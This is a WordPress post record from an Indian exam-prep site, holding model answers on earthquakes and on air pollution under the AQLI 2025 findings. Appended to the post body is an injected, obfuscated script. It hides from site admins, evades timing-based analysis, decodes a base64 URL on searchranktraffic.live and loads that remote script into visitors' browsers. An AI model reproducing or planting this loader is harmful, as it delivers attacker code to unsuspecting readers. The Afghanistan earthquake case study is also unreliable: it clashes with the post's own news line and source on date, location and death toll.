{"id":2279,"date":"2025-09-03T05:05:08","date_gmt":"2025-09-03T05:05:08","guid":{"rendered":"https:\/\/iasquest.com\/?p=2279"},"modified":"2026-02-11T18:54:16","modified_gmt":"2026-02-11T18:54:16","slug":"geophysical-phenomena-environmental-pollution-and-degradation","status":"publish","type":"post","link":"https:\/\/kingmakersiasacademy.com\/current-affairs\/geophysical-phenomena-environmental-pollution-and-degradation\/","title":{"rendered":"Geophysical Phenomena &#038; Environmental Pollution and Degradation"},"content":{"rendered":"\n<p class=\"has-vivid-red-color has-text-color has-link-color wp-elements-1 wp-block-paragraph\"><strong>1. What is an earthquake? How and where are they formed? what are their consequences ? Explain with examples.<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>SYLLABUS: General Studies \u2013I: Important Geophysical Phenomena such as earthquakes, Tsunami, Volcanic activity, cyclone etc.,<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-2 wp-block-paragraph\"><strong>IN NEWS:<\/strong> Earthquake kills over 800 in Afghanistan<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-3 wp-block-paragraph\">An <strong>earthquake<\/strong> is a sudden shaking of the Earth&#8217;s surface caused by the <strong>release of energy<\/strong> stored due to <strong>tectonic stresses<\/strong>. These are among the most unpredictable and destructive natural hazards affecting human life, economy, and the environment.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-4 wp-block-paragraph\">As per the <strong>National Center for Seismology (NCS)<\/strong>, India experiences hundreds of small to moderate earthquakes annually, with over <strong>59% of its landmass<\/strong> vulnerable to seismic hazards.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-5 wp-block-paragraph\"><strong>1. Formation of Earthquakes:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-6 wp-block-paragraph\"><strong>a) Causes:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-7 wp-block-paragraph\"><strong>1. Tectonic Movements<\/strong> <em>(primary cause)<\/em><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-8\">\n<li>Occur due to the movement of Earth&#8217;s <strong>lithospheric plates<\/strong>.<ul><li>Energy builds up at <strong>fault lines<\/strong> due to friction and is released suddenly.<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li>Explained by the <strong>Elastic Rebound Theory<\/strong>.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-9 wp-block-paragraph\"><strong>2. Volcanic Activity: <\/strong>Earthquakes near volcanoes due to magma movement.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-10 wp-block-paragraph\"><strong>3. Anthropogenic Activities: <\/strong>Mining, dam reservoirs (e.g., Koyna, Maharashtra), hydraulic fracturing.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-11 wp-block-paragraph\"><strong>b) Zones of Formation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-12 wp-block-paragraph\"><strong>1. Global Seismic Zones:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-13\">\n<li><strong>Circum-Pacific Belt (Ring of Fire)<\/strong>: 80% of global quakes.<ul><li><strong>Alpide Belt<\/strong>: Includes Himalayas, Iran, Turkey.<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li><strong>Mid-Atlantic Ridge<\/strong>: Divergent plate boundary.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-14 wp-block-paragraph\"><strong>2. India\u2019s Seismic Zoning<\/strong> <em>(Bureau of Indian Standards &#8211; BIS):<\/em><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-15\">\n<li><strong>Zone V<\/strong> (Very High Risk): NE states, Kashmir, Himachal.<ul><li><strong>Zone IV<\/strong>: Delhi, Haryana, Bihar.<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li><strong>Zone III &amp; II<\/strong>: Central and Southern India.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-16 wp-block-paragraph\">India lies at the <strong>collision boundary of the Indian and Eurasian plates<\/strong>, making the Himalayan region highly seismic.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-17 wp-block-paragraph\"><strong>2. Consequences of Earthquakes<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-18 wp-block-paragraph\"><strong>a) Humanitarian Impact:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-19\">\n<li>Massive loss of life, injuries, psychological trauma.<\/li>\n\n\n\n<li>Displacement and migration of vulnerable populations.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-20 wp-block-paragraph\"><strong>b) Economic Consequences:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-21\">\n<li>Damage to homes, infrastructure, industries.<\/li>\n\n\n\n<li><strong>Example<\/strong>: <strong>Bhuj Earthquake (2001)<\/strong> \u2013 \u20b915,000+ crore economic loss.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-22 wp-block-paragraph\"><strong>c) Environmental Effects:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-23\">\n<li>Trigger landslides (e.g., 2015 Nepal Earthquake)<\/li>\n\n\n\n<li>Tsunamis (e.g., 2004 Indian Ocean Tsunami)<\/li>\n\n\n\n<li>River course changes<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-24 wp-block-paragraph\"><strong>d) Social &amp; Political Challenges:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-25\">\n<li>Rehabilitation, governance breakdown in emergencies<\/li>\n\n\n\n<li>Stress on emergency services<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-26 wp-block-paragraph\"><strong>3. Case Studies &amp; Recent Examples<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-27 wp-block-paragraph\">&nbsp;<strong>Afghanistan Earthquake (October 2025)<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-28\">\n<li><strong>Magnitude<\/strong>: 6.4<\/li>\n\n\n\n<li><strong>Location<\/strong>: Western Afghanistan, near Herat<\/li>\n\n\n\n<li><strong>Casualties<\/strong>: <strong>Over 1,500 deaths<\/strong>, thousands injured<\/li>\n\n\n\n<li><strong>Damage<\/strong>: Extensive collapse of traditional mud houses<\/li>\n\n\n\n<li><strong>Reason<\/strong>: Tectonic collision of <strong>Indian and Eurasian plates<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-29 wp-block-paragraph\">India&#8217;s Ministry of External Affairs expressed condolences and offered humanitarian aid. This event highlights seismic vulnerability in <strong>under-prepared regions<\/strong> with poor infrastructure.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-30 wp-block-paragraph\"><strong>Delhi-NCR Earthquake Swarms (2025)<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-31\">\n<li>17+ minor earthquakes by July 2025 (highest in a decade).<\/li>\n\n\n\n<li>Most were <strong>shallow-focus (&lt;10 km)<\/strong> leading to strong surface tremors.<\/li>\n\n\n\n<li>Structural vulnerability in <strong>pre-2000 buildings<\/strong> poses severe risks.<\/li>\n<\/ul>\n\n\n\n<h4 class=\"wp-block-heading has-black-color has-text-color has-link-color wp-elements-32\"><a><\/a><strong>&nbsp;Myanmar Earthquake (April 2025)<\/strong><\/h4>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-33\">\n<li>Magnitude 7.7 on Sagaing Fault.<\/li>\n\n\n\n<li>India launched <strong>Operation Brahma<\/strong>: sent <strong>NDRF<\/strong>, <strong>medical teams<\/strong>, and <strong>field hospitals<\/strong>.<a><\/a><strong><\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-34 wp-block-paragraph\"><strong>Bhuj Earthquake (2001)<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-35\">\n<li>Magnitude: 7.7 | Deaths: ~13,800<\/li>\n\n\n\n<li>Led to creation of <strong>Smritivan Earthquake Memorial<\/strong>, a symbol of resilience.<\/li>\n<\/ul>\n\n\n\n<h4 class=\"wp-block-heading has-black-color has-text-color has-link-color wp-elements-36\"><a><\/a><strong>4. Institutional &amp; Policy Response (India)<\/strong><\/h4>\n\n\n\n<h4 class=\"wp-block-heading has-black-color has-text-color has-link-color wp-elements-37\"><a><\/a><strong>a) National Disaster Management Framework<\/strong><\/h4>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-text-color has-background has-link-color\" style=\"background:linear-gradient(135deg,rgb(255,245,203) 89%,rgb(182,227,212) 100%,rgb(51,167,181) 100%)\"><tbody><tr><td><strong>Institution<\/strong><\/td><td><strong>Role<\/strong><\/td><\/tr><tr><td><strong>NDMA<\/strong> (2005)<\/td><td>Earthquake risk reduction guidelines, retrofitting policy<\/td><\/tr><tr><td><strong>NIDM<\/strong><\/td><td>Capacity building and training<\/td><\/tr><tr><td><strong>IMD\/NCS<\/strong><\/td><td>Earthquake monitoring &amp; seismological data<\/td><\/tr><tr><td><strong>BIS<\/strong><\/td><td>Seismic Zoning Maps &amp; Building Code (IS 1893)<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<h4 class=\"wp-block-heading has-black-color has-text-color has-link-color wp-elements-38\"><a><\/a><strong>b) Government Schemes &amp; Initiatives<\/strong><\/h4>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-39\">\n<li><strong>National Earthquake Risk Mitigation Project (NERMP)<\/strong>: Capacity building, retrofitting, policy formulation.<\/li>\n\n\n\n<li><strong>Smart Cities Mission<\/strong>: Integrates seismic vulnerability into urban planning.<\/li>\n\n\n\n<li><strong>PMAY (Urban &amp; Gramin)<\/strong>: Promotes disaster-resilient housing.<\/li>\n\n\n\n<li><strong>School Safety Programme (UNDP-NDMA)<\/strong>: Seismic retrofitting and mock drills.<\/li>\n<\/ul>\n\n\n\n<h4 class=\"wp-block-heading has-black-color has-text-color has-link-color wp-elements-40\"><a><\/a><strong>c) Technological Interventions<\/strong><\/h4>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-41\">\n<li>Seismic monitoring stations increased from <strong>80 (2014)<\/strong> to <strong>168 (2024)<\/strong>.<\/li>\n\n\n\n<li><strong>Earthquake Early Warning System<\/strong>: Implemented in <strong>Uttarakhand<\/strong>, to be expanded nationally.<\/li>\n\n\n\n<li>GIS-based hazard zoning and satellite mapping (ISRO + MoES).<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-42 wp-block-paragraph\"><strong>5. Challenges &amp; Way Forward<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-text-color has-background has-link-color\" style=\"background:linear-gradient(135deg,rgb(255,245,203) 83%,rgb(182,227,212) 98%,rgb(51,167,181) 100%)\"><tbody><tr><td><strong>Challenges<\/strong><\/td><td><strong>Way Forward<\/strong><\/td><\/tr><tr><td>Poor enforcement of seismic codes<\/td><td>Strengthen compliance through ULBs and state agencies<\/td><\/tr><tr><td>Lack of retrofitting in old buildings<\/td><td>Incentivize and subsidize retrofitting<\/td><\/tr><tr><td>Low community preparedness<\/td><td>Expand school\/community-level disaster awareness<\/td><\/tr><tr><td>Insufficient monitoring in remote areas<\/td><td>Expand seismograph networks &amp; sensor density<\/td><\/tr><tr><td>Rapid urbanization in seismic zones<\/td><td>Integrate risk maps into urban planning (SDG 11)<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-43 wp-block-paragraph\">Earthquakes, though <strong>natural<\/strong>, turn <strong>disastrous due to human vulnerability<\/strong>. With the increasing frequency of seismic events in South Asia\u2014as shown by the <strong>2025 Afghanistan earthquake<\/strong>\u2014it is critical to <strong>transition from reactive to proactive seismic risk management<\/strong>. Scientific monitoring, resilient infrastructure, community awareness, and international cooperation form the pillars of earthquake disaster resilience.<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2025)<\/strong> <br><strong>Q. What are Tsunamis? How and where are they formed? What are their Consequences? Explain with examples.<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-44 wp-block-paragraph\"><strong>SOURCE:<\/strong><a href=\"https:\/\/www.thehindu.com\/news\/international\/afghanistan-nangahar-earthquake-death-toll\/article69997873.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/news\/international\/afghanistan-nangahar-earthquake-death-toll\/article69997873.ece<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-vivid-red-color has-text-color has-link-color wp-elements-45 wp-block-paragraph\"><a><\/a><strong>2.&#8221;Despite years of policy interventions, India continues to grapple with hazardous levels of air pollution, especially in the Indo-Gangetic Plain. Discuss the key causes, consequences, and suggest long-term mitigation strategies in the light of the Air Quality Life Index (AQLI) 2025 findings.&#8221;<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>SYLLABUS: General Studies \u2013III: Conservation, Environmental Pollution and Degradation, Environmental Impact Assessment.<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-46 wp-block-paragraph\"><strong>IN NEWS:<\/strong> All of India breathes bad air, AQLI 2025 report says<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-47 wp-block-paragraph\">Air quality in India is bad by its own standards, which are more lenient. According to the report, 46% of Indians live in areas where the PM2.5 standard of 40 g\/m3 has been breached<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-48 wp-block-paragraph\"><strong>1. Causes of Persistent Air Pollution in India:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-49 wp-block-paragraph\"><strong>a) Anthropogenic Emissions:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-50\">\n<li><strong>Vehicular emissions<\/strong>: Poor public transport, old diesel vehicles.<\/li>\n\n\n\n<li><strong>Industrial pollution<\/strong>: Especially brick kilns, thermal power plants.<\/li>\n\n\n\n<li><strong>Construction dust<\/strong>: Weak enforcement of dust-control norms.<\/li>\n\n\n\n<li><strong>Residential heating<\/strong>: Biomass and coal-based cooking in rural\/urban fringes.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-51 wp-block-paragraph\"><strong>b) Agricultural Practices: <\/strong><strong>Stubble burning<\/strong> in Punjab, Haryana \u2192 Seasonal spikes in PM2.5 in North India.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-52 wp-block-paragraph\"><strong>c) Meteorological &amp; Topographical Factors:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-53\">\n<li><strong>Temperature inversion<\/strong> in winter traps pollutants.<\/li>\n\n\n\n<li><strong>Himalayan barrier<\/strong> prevents dispersion of air masses.<\/li>\n\n\n\n<li><strong>The Indo-Gangetic basin<\/strong> acts like a &#8220;pollution bowl&#8221;.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-54 wp-block-paragraph\"><strong>d) Cross-border Pollution: <\/strong>Pollution from <strong>Bangladesh, Nepal, and Pakistan<\/strong> adds to regional haze (AQLI 2025 confirms transboundary nature).<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-55 wp-block-paragraph\"><strong>e) Policy-Implementation Gap: <\/strong>Many policies exist (e.g., National Clean Air Programme), but <strong>execution and monitoring remain weak<\/strong>.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-56 wp-block-paragraph\"><strong>2. Consequences of Air Pollution (As per AQLI 2025)<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-57\">\n<li><strong>Health:<\/strong> India\u2019s population is exposed to PM2.5 levels ~9x WHO limit; the average Indian could gain 5.3 years of life if pollution is reduced to WHO norms.<\/li>\n\n\n\n<li><strong>Economy: <\/strong>Productivity loss, increased healthcare burden (estimated \u20b93 lakh crore\/year by WB).<\/li>\n\n\n\n<li><strong>Environment: <\/strong>Damage to crops (ozone exposure), acid rain, degraded soil and water bodies.<\/li>\n\n\n\n<li><strong>Social Equity:<\/strong> Poorer populations suffer more (indoor cooking smoke, congested housing).<\/li>\n\n\n\n<li><strong>Children &amp; Elderly:<\/strong> Higher incidence of asthma, bronchitis, developmental issues.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-58 wp-block-paragraph\"><strong>3. Global Comparisons: Lessons from China (AQLI 2025)<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-59\">\n<li>Despite a <strong>2.8% rise in 2023<\/strong>, China has <strong>reduced PM2.5 by 40.8% since 2014<\/strong>.<\/li>\n\n\n\n<li>Measures taken:<ul><li>Phased out old coal plants<\/li><\/ul><ul><li>Restricted private vehicles in major cities<\/li><\/ul><ul><li>Shifted home heating from coal to electric\/gas<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li>Strict real-time monitoring and enforcement<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-60 wp-block-paragraph\"><strong>4. Government Measures in India:<\/strong><\/p>\n\n\n\n<h4 class=\"wp-block-heading has-black-color has-text-color has-link-color wp-elements-61\"><a><\/a><strong>a) Policy Interventions:<\/strong><\/h4>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-62\">\n<li><strong>National Clean Air Programme (NCAP) \u2013 2019<\/strong>: 20-30% reduction in PM2.5 by 2024 (extended to 2026); covers 131 cities.<\/li>\n\n\n\n<li><strong>Commission for Air Quality Management (CAQM): <\/strong>Statutory body for NCR; regulates seasonal burning, industrial pollution.<\/li>\n\n\n\n<li><strong>Faster Adoption and Manufacturing of Electric Vehicles (FAME): <\/strong>Reduction in vehicular emissions.<\/li>\n\n\n\n<li><strong>BS-VI Emission Norms: <\/strong>Introduced in 2020 to curb vehicular pollutants.<\/li>\n\n\n\n<li><strong>Ujjwala Yojana Clean: <\/strong>&nbsp;LPG access to reduce indoor air pollution.<\/li>\n<\/ul>\n\n\n\n<h4 class=\"wp-block-heading has-black-color has-text-color has-link-color wp-elements-63\"><a><\/a><strong>b) Technological Solutions:<\/strong><\/h4>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-64\">\n<li><strong>Smog towers<\/strong> in Delhi (pilot stage, mixed results)<\/li>\n\n\n\n<li><strong>Green buffers and plantation drives<\/strong><\/li>\n\n\n\n<li><strong>Air Quality Monitoring Systems<\/strong> (CPCB, SPCBs)<\/li>\n\n\n\n<li>Satellite-based stubble detection via <strong>ISRO<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-65 wp-block-paragraph\"><strong>5. Long-Term Sustainable Strategies:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-66\">\n<li><strong>Urban Transport:<\/strong>Expand metro rail, e-buses, cycling infrastructure<\/li>\n\n\n\n<li><strong>Clean Energy: <\/strong>Phase out coal plants near urban centers; solar rooftop push<\/li>\n\n\n\n<li><strong>Agriculture: <\/strong>Incentivize no-burn technologies (e.g., Happy Seeder)<\/li>\n\n\n\n<li><strong>Building Regulations: <\/strong>Enforce dust norms, green buildings<\/li>\n\n\n\n<li><strong>Behavioral Change: <\/strong>Citizen participation via awareness (like \u2018CleanAirForAll\u2019)<\/li>\n\n\n\n<li><strong>Cross-Border Collaboration: <\/strong>Regional SAARC\/BBIN pollution management treaty<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-67 wp-block-paragraph\">The AQLI 2025 reaffirms what India has long grappled with: <strong>air pollution is the single largest external threat to human health<\/strong>. Despite decades of policies, the Indo-Gangetic plain remains a hotspot. What is needed now is a <strong>coordinated national mission<\/strong>, similar in scale to the Swachh Bharat Abhiyan, that focuses on <strong>clean air as a fundamental right<\/strong>, backed by technology, governance, and public accountability.<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE (2021)<\/strong><br><strong>Q.Describe the key point of the revised Global Air Quality Guidelines [AQGs] recently released by the World Health Organisation [WHO].How are these different from its last update in 2005? What changes in India\u2019s National Clean Air Programme are required to achieve these revised standards ?<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-68 wp-block-paragraph\"><strong>SOURCE:<a href=\"https:\/\/www.thehindu.com\/sci-tech\/energy-and-environment\/all-of-india-breathes-bad-air-aqli-2025-report-says\/article69994433.ece#:~:text=According%20to%20the%20Air%20Quality,limit%20of%205%20%CE%BCg%2Fm%C2%B3.\" target=\"_blank\" rel=\"noopener\">https:\/\/www.thehindu.com\/sci-tech\/energy-and-environment\/all-of-india-breathes-bad-air-aqli-2025-report-says\/article69994433.ece#:~:text=According%20to%20the%20Air%20Quality,limit%20of%205%20%CE%BCg%2Fm%C2%B3.<\/a><\/strong><\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>What is an earthquake? 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